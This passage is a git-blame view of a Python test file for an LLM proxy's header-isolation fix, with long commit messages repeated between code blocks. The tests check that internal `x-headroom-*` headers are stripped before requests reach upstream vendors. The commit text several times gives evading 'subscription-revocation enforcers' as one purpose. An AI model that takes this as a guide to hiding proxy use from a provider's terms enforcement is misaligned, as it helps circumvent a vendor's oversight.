fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49)
Eliminate P5-49: every Python forwarder and the Rust transparent proxy
now drop internal `x-headroom-*` request headers (`x-headroom-bypass`,
`x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`,
`x-headroom-base-url`) before the upstream call. Stops fingerprinting
of the proxy by subscription-revocation enforcers and prevents leakage
of internal user-id / stack / base-url internals to whichever vendor
terminates the request.
Python:
- `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py`
returns a NEW dict with `x-headroom-*` keys removed (case-insensitive
prefix match, no regex). Pure function. Operator opt-in
`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in
the upstream-bound dict for diagnostic shadow tracing — explicit, not
a fallback.
- Strip applied at every handler entry capture in `anthropic.py`,
`openai.py`, `batch.py`, `gemini.py` (chat completions, responses,
WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini
generate / stream / countTokens / cloudcode-assist, Anthropic
passthrough + batch results). Inbound reads of x-headroom (bypass
gating, memory user-id) migrated to `request.headers.get(...)` so
they continue working off the original dict.
- `log_outbound_headers` emits `event=outbound_headers forwarder=...
stripped_count=N request_id=...` per call. Never logs header values.
Rust (crates/headroom-proxy):
- `strip_internal_headers(&mut HeaderMap)` and `is_internal_header`
helpers in `src/headers.rs`. `build_forward_request_headers` accepts
a `strip_internal: bool` so the same path serves HTTP and WebSocket.
- `Config::strip_internal_headers: StripInternalHeaders` driven by CLI
flag `--strip-internal-headers` and env var
`HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`).
- `proxy.rs` and `websocket.rs` call `build_forward_request_headers`
with the resolved policy; structured `tracing::info!` /
`tracing::warn!` line per request describes the strip decision.
Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust
integration (`crates/headroom-proxy/tests/integration_headers.rs`) +
4 Rust unit tests in `headers.rs`. Covers every named header
(`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive
prefix matching, legitimate-headers passthrough, the `disabled`
operator-opt-in mode, and that the inbound bypass-gating read path
is unaffected by the strip.
Acceptance: targeted `pytest -x` suite green (87 tests across
test_header_isolation, test_proxy_byte_faithful_forwarding,
test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable,
test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle).
`cargo test -p headroom-proxy` green (23 tests across all integrations
plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings`
clean. `cargo fmt --all -- --check` clean. `cargo test --workspace`
green (~900 tests total).
Per realignment build constraints: configurable (env + CLI), no
hardcodes, no regex (pure `.lower().starts_with()` match), no silent
fallbacks (`disabled` is loud operator opt-in), structured logs
(`event=outbound_headers`).
Remaining `x-headroom-` references in `headroom/proxy/handlers/` are
inbound-read sites only: `request.headers.get("x-headroom-bypass")` /
`x-headroom-mode` for behavior gating, `request.headers.get
("x-headroom-user-id")` for memory user-id resolution, and `ws_headers
.get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*`
injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream
forwarding and untouched.
2026-05-02 09:35:27 -07:00
|
|
|
"""Header-isolation tests for PR-A5 (P5-49 fix).
|
|
|
|
|
|
|
|
|
|
`x-headroom-*` request headers are internal control flags consumed by the
|
|
|
|
|
proxy itself (bypass gating, mode selection, user-id, stack/base-url
|
|
|
|
|
fingerprints). Forwarding them upstream:
|
|
|
|
|
|
|
|
|
|
1. Fingerprints the proxy to subscription-revocation enforcers.
|
|
|
|
|
2. Leaks user-id / stack / base-url internals to whichever vendor
|
|
|
|
|
terminates the request.
|
|
|
|
|
|
|
|
|
|
PR-A5 wraps every handler-entry capture of the request headers with
|
|
|
|
|
`_strip_internal_headers`. Inbound read paths (`request.headers.get(...)`
|
|
|
|
|
for bypass gating, `_extract_tags` reading `x-headroom-*`) keep working
|
|
|
|
|
because they never depended on the local outbound-bound dict.
|
|
|
|
|
|
|
|
|
|
Operator opt-in `HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps the
|
|
|
|
|
internal headers in the upstream-bound dict for diagnostic shadow tracing.
|
|
|
|
|
That mode is loud and explicit per realignment build constraint #4 — NOT
|
|
|
|
|
a silent fallback.
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
from __future__ import annotations
|
|
|
|
|
|
|
|
|
|
from types import SimpleNamespace
|
|
|
|
|
from unittest.mock import AsyncMock
|
|
|
|
|
|
|
|
|
|
import httpx
|
|
|
|
|
import pytest
|
|
|
|
|
|
|
|
|
|
pytest.importorskip("fastapi")
|
|
|
|
|
|
|
|
|
|
from fastapi.testclient import TestClient
|
|
|
|
|
|
|
|
|
|
from headroom.proxy.helpers import (
|
|
|
|
|
_strip_internal_headers,
|
|
|
|
|
get_strip_internal_headers_mode,
|
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189)
## Description
Running Claude Code (Anthropic) and Codex (OpenAI) against the **same**
Headroom proxy instance on one port produced incorrect, unstable
dashboard data. The proxy core is provider-isolated and
multi-provider-safe by design; the defect was in the observability
layer. The Codex `/v1/responses` **WebSocket** handler was the only path
in the proxy that wrote to the request logger by hand instead of through
the unified `emit_request_outcome` funnel, and it did so twice per
session close: the per-turn funnel record plus an unconditional
cumulative session-summary `RequestLog`. This PR removes the duplicate
summary log so Codex WS emits exactly one request log per turn, matching
the HTTP provider paths.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- Dropped the duplicate cumulative session-summary `RequestLog` in the
Codex WS handler while preserving the per-turn `emit_request_outcome`
path.
- Preserved gated `request_messages` and `turn_id` on residual outcomes
so dashboard telemetry keeps the useful attribution without
double-counting tokens.
- Ensured explicit `--anyllm-provider` wins over a leaked
`HEADROOM_ANYLLM_PROVIDER` environment variable.
- Registered retry delay settings that had drifted out of the settings
registry.
- Hardened tests against developer-shell `HEADROOM_*` /
`ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused
proxy/wrap test fixtures.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [ ] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
$ .venv/bin/pytest tests/ -q -p no:cacheprovider
8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36)
$ .venv/bin/ruff check <touched files>
All checks passed!
```
## Real Behavior Proof
- Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff
via project venv, branch `fix/multi-provider-runtime`.
- Exact command / steps: Ran the full test suite without pytest cache
provider and Ruff on all touched files; used `git stash` to confirm the
stale fake-config failures pre-existed this change.
- Observed result: Full suite passed with no failures; Ruff passed;
Codex WS now routes end-of-session logging through
`emit_request_outcome`, emitting one request log per turn with the same
accounting model as Anthropic HTTP turns.
- Not tested: Live simultaneous Claude + Codex dashboard run. `mypy
headroom` was not run to completion; a scoped run reported one
pre-existing `settings_store.py:470` coercion error outside this diff.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [ ] I have updated the CHANGELOG.md if applicable
## Screenshots (if applicable)
N/A - server-side observability fix; no UI markup changed.
## Additional Notes
- The proxy's multi-provider routing, header/auth isolation, and
per-model cache keying are already correct and unchanged here; only the
WS observability write path was double-counting.
- Architectural assessment:
`plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`;
root-cause + resolution trail:
`plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`.
- No live simultaneous Claude + Codex dashboard run was performed;
validation is from test coverage and code review of the WS logging path.
---------
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
|
|
|
merge_extra_headers,
|
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49)
Eliminate P5-49: every Python forwarder and the Rust transparent proxy
now drop internal `x-headroom-*` request headers (`x-headroom-bypass`,
`x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`,
`x-headroom-base-url`) before the upstream call. Stops fingerprinting
of the proxy by subscription-revocation enforcers and prevents leakage
of internal user-id / stack / base-url internals to whichever vendor
terminates the request.
Python:
- `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py`
returns a NEW dict with `x-headroom-*` keys removed (case-insensitive
prefix match, no regex). Pure function. Operator opt-in
`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in
the upstream-bound dict for diagnostic shadow tracing — explicit, not
a fallback.
- Strip applied at every handler entry capture in `anthropic.py`,
`openai.py`, `batch.py`, `gemini.py` (chat completions, responses,
WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini
generate / stream / countTokens / cloudcode-assist, Anthropic
passthrough + batch results). Inbound reads of x-headroom (bypass
gating, memory user-id) migrated to `request.headers.get(...)` so
they continue working off the original dict.
- `log_outbound_headers` emits `event=outbound_headers forwarder=...
stripped_count=N request_id=...` per call. Never logs header values.
Rust (crates/headroom-proxy):
- `strip_internal_headers(&mut HeaderMap)` and `is_internal_header`
helpers in `src/headers.rs`. `build_forward_request_headers` accepts
a `strip_internal: bool` so the same path serves HTTP and WebSocket.
- `Config::strip_internal_headers: StripInternalHeaders` driven by CLI
flag `--strip-internal-headers` and env var
`HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`).
- `proxy.rs` and `websocket.rs` call `build_forward_request_headers`
with the resolved policy; structured `tracing::info!` /
`tracing::warn!` line per request describes the strip decision.
Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust
integration (`crates/headroom-proxy/tests/integration_headers.rs`) +
4 Rust unit tests in `headers.rs`. Covers every named header
(`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive
prefix matching, legitimate-headers passthrough, the `disabled`
operator-opt-in mode, and that the inbound bypass-gating read path
is unaffected by the strip.
Acceptance: targeted `pytest -x` suite green (87 tests across
test_header_isolation, test_proxy_byte_faithful_forwarding,
test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable,
test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle).
`cargo test -p headroom-proxy` green (23 tests across all integrations
plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings`
clean. `cargo fmt --all -- --check` clean. `cargo test --workspace`
green (~900 tests total).
Per realignment build constraints: configurable (env + CLI), no
hardcodes, no regex (pure `.lower().starts_with()` match), no silent
fallbacks (`disabled` is loud operator opt-in), structured logs
(`event=outbound_headers`).
Remaining `x-headroom-` references in `headroom/proxy/handlers/` are
inbound-read sites only: `request.headers.get("x-headroom-bypass")` /
`x-headroom-mode` for behavior gating, `request.headers.get
("x-headroom-user-id")` for memory user-id resolution, and `ws_headers
.get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*`
injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream
forwarding and untouched.
2026-05-02 09:35:27 -07:00
|
|
|
)
|
|
|
|
|
from headroom.proxy.server import ProxyConfig, create_app
|
|
|
|
|
|
2026-08-20 07:02:44 -07:00
|
|
|
|
|
|
|
|
@pytest.fixture(autouse=True)
|
|
|
|
|
def _allow_reserved_test_upstream(monkeypatch: pytest.MonkeyPatch) -> None:
|
|
|
|
|
"""Permit the reserved override used by the end-to-end isolation test."""
|
|
|
|
|
monkeypatch.setenv("HEADROOM_ALLOWED_BASE_URLS", "override.example")
|
|
|
|
|
|
|
|
|
|
|
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49)
Eliminate P5-49: every Python forwarder and the Rust transparent proxy
now drop internal `x-headroom-*` request headers (`x-headroom-bypass`,
`x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`,
`x-headroom-base-url`) before the upstream call. Stops fingerprinting
of the proxy by subscription-revocation enforcers and prevents leakage
of internal user-id / stack / base-url internals to whichever vendor
terminates the request.
Python:
- `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py`
returns a NEW dict with `x-headroom-*` keys removed (case-insensitive
prefix match, no regex). Pure function. Operator opt-in
`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in
the upstream-bound dict for diagnostic shadow tracing — explicit, not
a fallback.
- Strip applied at every handler entry capture in `anthropic.py`,
`openai.py`, `batch.py`, `gemini.py` (chat completions, responses,
WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini
generate / stream / countTokens / cloudcode-assist, Anthropic
passthrough + batch results). Inbound reads of x-headroom (bypass
gating, memory user-id) migrated to `request.headers.get(...)` so
they continue working off the original dict.
- `log_outbound_headers` emits `event=outbound_headers forwarder=...
stripped_count=N request_id=...` per call. Never logs header values.
Rust (crates/headroom-proxy):
- `strip_internal_headers(&mut HeaderMap)` and `is_internal_header`
helpers in `src/headers.rs`. `build_forward_request_headers` accepts
a `strip_internal: bool` so the same path serves HTTP and WebSocket.
- `Config::strip_internal_headers: StripInternalHeaders` driven by CLI
flag `--strip-internal-headers` and env var
`HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`).
- `proxy.rs` and `websocket.rs` call `build_forward_request_headers`
with the resolved policy; structured `tracing::info!` /
`tracing::warn!` line per request describes the strip decision.
Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust
integration (`crates/headroom-proxy/tests/integration_headers.rs`) +
4 Rust unit tests in `headers.rs`. Covers every named header
(`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive
prefix matching, legitimate-headers passthrough, the `disabled`
operator-opt-in mode, and that the inbound bypass-gating read path
is unaffected by the strip.
Acceptance: targeted `pytest -x` suite green (87 tests across
test_header_isolation, test_proxy_byte_faithful_forwarding,
test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable,
test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle).
`cargo test -p headroom-proxy` green (23 tests across all integrations
plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings`
clean. `cargo fmt --all -- --check` clean. `cargo test --workspace`
green (~900 tests total).
Per realignment build constraints: configurable (env + CLI), no
hardcodes, no regex (pure `.lower().starts_with()` match), no silent
fallbacks (`disabled` is loud operator opt-in), structured logs
(`event=outbound_headers`).
Remaining `x-headroom-` references in `headroom/proxy/handlers/` are
inbound-read sites only: `request.headers.get("x-headroom-bypass")` /
`x-headroom-mode` for behavior gating, `request.headers.get
("x-headroom-user-id")` for memory user-id resolution, and `ws_headers
.get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*`
injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream
forwarding and untouched.
2026-05-02 09:35:27 -07:00
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
# Pure helper unit tests
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_returns_new_dict_does_not_mutate_caller() -> None:
|
|
|
|
|
"""`_strip_internal_headers` is pure — caller's dict is untouched."""
|
|
|
|
|
original = {
|
|
|
|
|
"authorization": "Bearer x",
|
|
|
|
|
"x-headroom-bypass": "true",
|
|
|
|
|
}
|
|
|
|
|
out = _strip_internal_headers(original)
|
|
|
|
|
assert out is not original
|
|
|
|
|
assert "x-headroom-bypass" in original
|
|
|
|
|
assert "x-headroom-bypass" not in out
|
|
|
|
|
assert out["authorization"] == "Bearer x"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_x_headroom_bypass_removed() -> None:
|
|
|
|
|
out = _strip_internal_headers({"x-headroom-bypass": "true", "k": "v"})
|
|
|
|
|
assert "x-headroom-bypass" not in out
|
|
|
|
|
assert out["k"] == "v"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_x_headroom_mode_removed() -> None:
|
|
|
|
|
out = _strip_internal_headers({"x-headroom-mode": "passthrough", "k": "v"})
|
|
|
|
|
assert "x-headroom-mode" not in out
|
|
|
|
|
assert out["k"] == "v"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_x_headroom_user_id_removed() -> None:
|
|
|
|
|
out = _strip_internal_headers({"x-headroom-user-id": "u1", "k": "v"})
|
|
|
|
|
assert "x-headroom-user-id" not in out
|
|
|
|
|
assert out["k"] == "v"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_x_headroom_stack_removed() -> None:
|
|
|
|
|
out = _strip_internal_headers({"x-headroom-stack": "engineer", "k": "v"})
|
|
|
|
|
assert "x-headroom-stack" not in out
|
|
|
|
|
assert out["k"] == "v"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_x_headroom_base_url_removed() -> None:
|
|
|
|
|
out = _strip_internal_headers({"x-headroom-base-url": "http://x", "k": "v"})
|
|
|
|
|
assert "x-headroom-base-url" not in out
|
|
|
|
|
assert out["k"] == "v"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_case_insensitive_prefix_match() -> None:
|
|
|
|
|
"""Mixed-case `X-Headroom-Foo`, `x-Headroom-Bar`, `X-HEADROOM-BAZ` all stripped."""
|
|
|
|
|
out = _strip_internal_headers(
|
|
|
|
|
{
|
|
|
|
|
"X-Headroom-Foo": "1",
|
|
|
|
|
"x-Headroom-Bar": "2",
|
|
|
|
|
"X-HEADROOM-BAZ": "3",
|
|
|
|
|
"Authorization": "Bearer x",
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
assert "X-Headroom-Foo" not in out
|
|
|
|
|
assert "x-Headroom-Bar" not in out
|
|
|
|
|
assert "X-HEADROOM-BAZ" not in out
|
|
|
|
|
assert out["Authorization"] == "Bearer x"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_legitimate_headers_passthrough() -> None:
|
|
|
|
|
"""Headers without the internal prefix must NOT be stripped."""
|
|
|
|
|
out = _strip_internal_headers(
|
|
|
|
|
{
|
|
|
|
|
"Authorization": "Bearer x",
|
|
|
|
|
"x-api-key": "k",
|
|
|
|
|
"x-request-id": "rid-1",
|
|
|
|
|
"x-trace-id": "tid-1",
|
|
|
|
|
"Content-Type": "application/json",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
"User-Agent": "claude-code/1.0",
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
assert out["Authorization"] == "Bearer x"
|
|
|
|
|
assert out["x-api-key"] == "k"
|
|
|
|
|
assert out["x-request-id"] == "rid-1"
|
|
|
|
|
assert out["x-trace-id"] == "tid-1"
|
|
|
|
|
assert out["Content-Type"] == "application/json"
|
|
|
|
|
assert out["anthropic-version"] == "2023-06-01"
|
|
|
|
|
assert out["User-Agent"] == "claude-code/1.0"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_disabled_mode_passes_internal_headers_through(
|
|
|
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
|
|
|
) -> None:
|
|
|
|
|
"""`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` is operator opt-in for diag."""
|
|
|
|
|
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "disabled")
|
|
|
|
|
out = _strip_internal_headers({"x-headroom-bypass": "true", "authorization": "Bearer x"})
|
|
|
|
|
assert out["x-headroom-bypass"] == "true"
|
|
|
|
|
assert out["authorization"] == "Bearer x"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_disabled_mode_returns_copy_not_alias(
|
|
|
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
|
|
|
) -> None:
|
|
|
|
|
"""Even in disabled mode the helper returns a NEW dict, never an alias."""
|
|
|
|
|
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "disabled")
|
|
|
|
|
src = {"x-headroom-bypass": "true"}
|
|
|
|
|
out = _strip_internal_headers(src)
|
|
|
|
|
assert out is not src
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_mode_default_is_enabled(monkeypatch: pytest.MonkeyPatch) -> None:
|
|
|
|
|
monkeypatch.delenv("HEADROOM_STRIP_INTERNAL_HEADERS", raising=False)
|
|
|
|
|
assert get_strip_internal_headers_mode() == "enabled"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_mode_invalid_raises(monkeypatch: pytest.MonkeyPatch) -> None:
|
|
|
|
|
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "garbage")
|
|
|
|
|
with pytest.raises(ValueError, match="HEADROOM_STRIP_INTERNAL_HEADERS"):
|
|
|
|
|
get_strip_internal_headers_mode()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_empty_dict_returns_empty_dict() -> None:
|
|
|
|
|
assert _strip_internal_headers({}) == {}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_strip_preserves_value_semantics() -> None:
|
|
|
|
|
"""Values are forwarded unchanged for kept headers."""
|
|
|
|
|
out = _strip_internal_headers(
|
|
|
|
|
{
|
|
|
|
|
"Authorization": "Bearer sk-ant-...",
|
|
|
|
|
"anthropic-version": "2023-06-01",
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
assert out["Authorization"] == "Bearer sk-ant-..."
|
|
|
|
|
assert out["anthropic-version"] == "2023-06-01"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
# End-to-end: x-headroom-* never reaches the upstream
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class _CapturingTransport(httpx.AsyncBaseTransport):
|
|
|
|
|
def __init__(self) -> None:
|
|
|
|
|
self.captured_headers: dict[str, str] | None = None
|
|
|
|
|
self.captured_body: bytes | None = None
|
|
|
|
|
|
|
|
|
|
async def handle_async_request(self, request: httpx.Request) -> httpx.Response:
|
|
|
|
|
body = b""
|
|
|
|
|
async for chunk in request.stream:
|
|
|
|
|
body += chunk
|
|
|
|
|
self.captured_body = body
|
|
|
|
|
self.captured_headers = dict(request.headers.items())
|
|
|
|
|
return httpx.Response(
|
|
|
|
|
200,
|
|
|
|
|
json={
|
|
|
|
|
"id": "msg_1",
|
|
|
|
|
"type": "message",
|
|
|
|
|
"role": "assistant",
|
|
|
|
|
"content": [{"type": "text", "text": "ok"}],
|
|
|
|
|
"usage": {
|
|
|
|
|
"input_tokens": 10,
|
|
|
|
|
"output_tokens": 3,
|
|
|
|
|
"cache_read_input_tokens": 0,
|
|
|
|
|
"cache_creation_input_tokens": 0,
|
|
|
|
|
},
|
|
|
|
|
},
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class _FakePrefixTracker:
|
|
|
|
|
def __init__(self, frozen_count: int = 0):
|
|
|
|
|
self._frozen_count = frozen_count
|
|
|
|
|
self._cached_token_count = 0
|
|
|
|
|
self._last_original_messages: list = []
|
|
|
|
|
self._last_forwarded_messages: list = []
|
|
|
|
|
|
|
|
|
|
def get_frozen_message_count(self) -> int:
|
|
|
|
|
return self._frozen_count
|
|
|
|
|
|
|
|
|
|
def get_last_original_messages(self): # noqa: ANN201
|
|
|
|
|
return list(self._last_original_messages)
|
|
|
|
|
|
|
|
|
|
def get_last_forwarded_messages(self): # noqa: ANN201
|
|
|
|
|
return list(self._last_forwarded_messages)
|
|
|
|
|
|
|
|
|
|
def update_from_response(self, **kwargs): # noqa: ANN003
|
|
|
|
|
self._last_original_messages = kwargs.get("original_messages", kwargs.get("messages", []))
|
|
|
|
|
self._last_forwarded_messages = kwargs.get("messages", [])
|
|
|
|
|
return None
|
|
|
|
|
|
|
|
|
|
|
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189)
## Description
Running Claude Code (Anthropic) and Codex (OpenAI) against the **same**
Headroom proxy instance on one port produced incorrect, unstable
dashboard data. The proxy core is provider-isolated and
multi-provider-safe by design; the defect was in the observability
layer. The Codex `/v1/responses` **WebSocket** handler was the only path
in the proxy that wrote to the request logger by hand instead of through
the unified `emit_request_outcome` funnel, and it did so twice per
session close: the per-turn funnel record plus an unconditional
cumulative session-summary `RequestLog`. This PR removes the duplicate
summary log so Codex WS emits exactly one request log per turn, matching
the HTTP provider paths.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- Dropped the duplicate cumulative session-summary `RequestLog` in the
Codex WS handler while preserving the per-turn `emit_request_outcome`
path.
- Preserved gated `request_messages` and `turn_id` on residual outcomes
so dashboard telemetry keeps the useful attribution without
double-counting tokens.
- Ensured explicit `--anyllm-provider` wins over a leaked
`HEADROOM_ANYLLM_PROVIDER` environment variable.
- Registered retry delay settings that had drifted out of the settings
registry.
- Hardened tests against developer-shell `HEADROOM_*` /
`ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused
proxy/wrap test fixtures.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [ ] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
$ .venv/bin/pytest tests/ -q -p no:cacheprovider
8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36)
$ .venv/bin/ruff check <touched files>
All checks passed!
```
## Real Behavior Proof
- Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff
via project venv, branch `fix/multi-provider-runtime`.
- Exact command / steps: Ran the full test suite without pytest cache
provider and Ruff on all touched files; used `git stash` to confirm the
stale fake-config failures pre-existed this change.
- Observed result: Full suite passed with no failures; Ruff passed;
Codex WS now routes end-of-session logging through
`emit_request_outcome`, emitting one request log per turn with the same
accounting model as Anthropic HTTP turns.
- Not tested: Live simultaneous Claude + Codex dashboard run. `mypy
headroom` was not run to completion; a scoped run reported one
pre-existing `settings_store.py:470` coercion error outside this diff.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [ ] I have updated the CHANGELOG.md if applicable
## Screenshots (if applicable)
N/A - server-side observability fix; no UI markup changed.
## Additional Notes
- The proxy's multi-provider routing, header/auth isolation, and
per-model cache keying are already correct and unchanged here; only the
WS observability write path was double-counting.
- Architectural assessment:
`plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`;
root-cause + resolution trail:
`plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`.
- No live simultaneous Claude + Codex dashboard run was performed;
validation is from test coverage and code review of the WS logging path.
---------
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
|
|
|
def _make_anthropic_app(**config_overrides) -> tuple[TestClient, _CapturingTransport]:
|
fix: A5 — strip x-headroom-* from upstream-bound headers (P5-49)
Eliminate P5-49: every Python forwarder and the Rust transparent proxy
now drop internal `x-headroom-*` request headers (`x-headroom-bypass`,
`x-headroom-mode`, `x-headroom-user-id`, `x-headroom-stack`,
`x-headroom-base-url`) before the upstream call. Stops fingerprinting
of the proxy by subscription-revocation enforcers and prevents leakage
of internal user-id / stack / base-url internals to whichever vendor
terminates the request.
Python:
- `_strip_internal_headers(headers)` in `headroom/proxy/helpers.py`
returns a NEW dict with `x-headroom-*` keys removed (case-insensitive
prefix match, no regex). Pure function. Operator opt-in
`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` keeps internal headers in
the upstream-bound dict for diagnostic shadow tracing — explicit, not
a fallback.
- Strip applied at every handler entry capture in `anthropic.py`,
`openai.py`, `batch.py`, `gemini.py` (chat completions, responses,
WebSocket handshake, Copilot passthrough, batch passthroughs, Gemini
generate / stream / countTokens / cloudcode-assist, Anthropic
passthrough + batch results). Inbound reads of x-headroom (bypass
gating, memory user-id) migrated to `request.headers.get(...)` so
they continue working off the original dict.
- `log_outbound_headers` emits `event=outbound_headers forwarder=...
stripped_count=N request_id=...` per call. Never logs header values.
Rust (crates/headroom-proxy):
- `strip_internal_headers(&mut HeaderMap)` and `is_internal_header`
helpers in `src/headers.rs`. `build_forward_request_headers` accepts
a `strip_internal: bool` so the same path serves HTTP and WebSocket.
- `Config::strip_internal_headers: StripInternalHeaders` driven by CLI
flag `--strip-internal-headers` and env var
`HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`).
- `proxy.rs` and `websocket.rs` call `build_forward_request_headers`
with the resolved policy; structured `tracing::info!` /
`tracing::warn!` line per request describes the strip decision.
Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust
integration (`crates/headroom-proxy/tests/integration_headers.rs`) +
4 Rust unit tests in `headers.rs`. Covers every named header
(`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive
prefix matching, legitimate-headers passthrough, the `disabled`
operator-opt-in mode, and that the inbound bypass-gating read path
is unaffected by the strip.
Acceptance: targeted `pytest -x` suite green (87 tests across
test_header_isolation, test_proxy_byte_faithful_forwarding,
test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable,
test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle).
`cargo test -p headroom-proxy` green (23 tests across all integrations
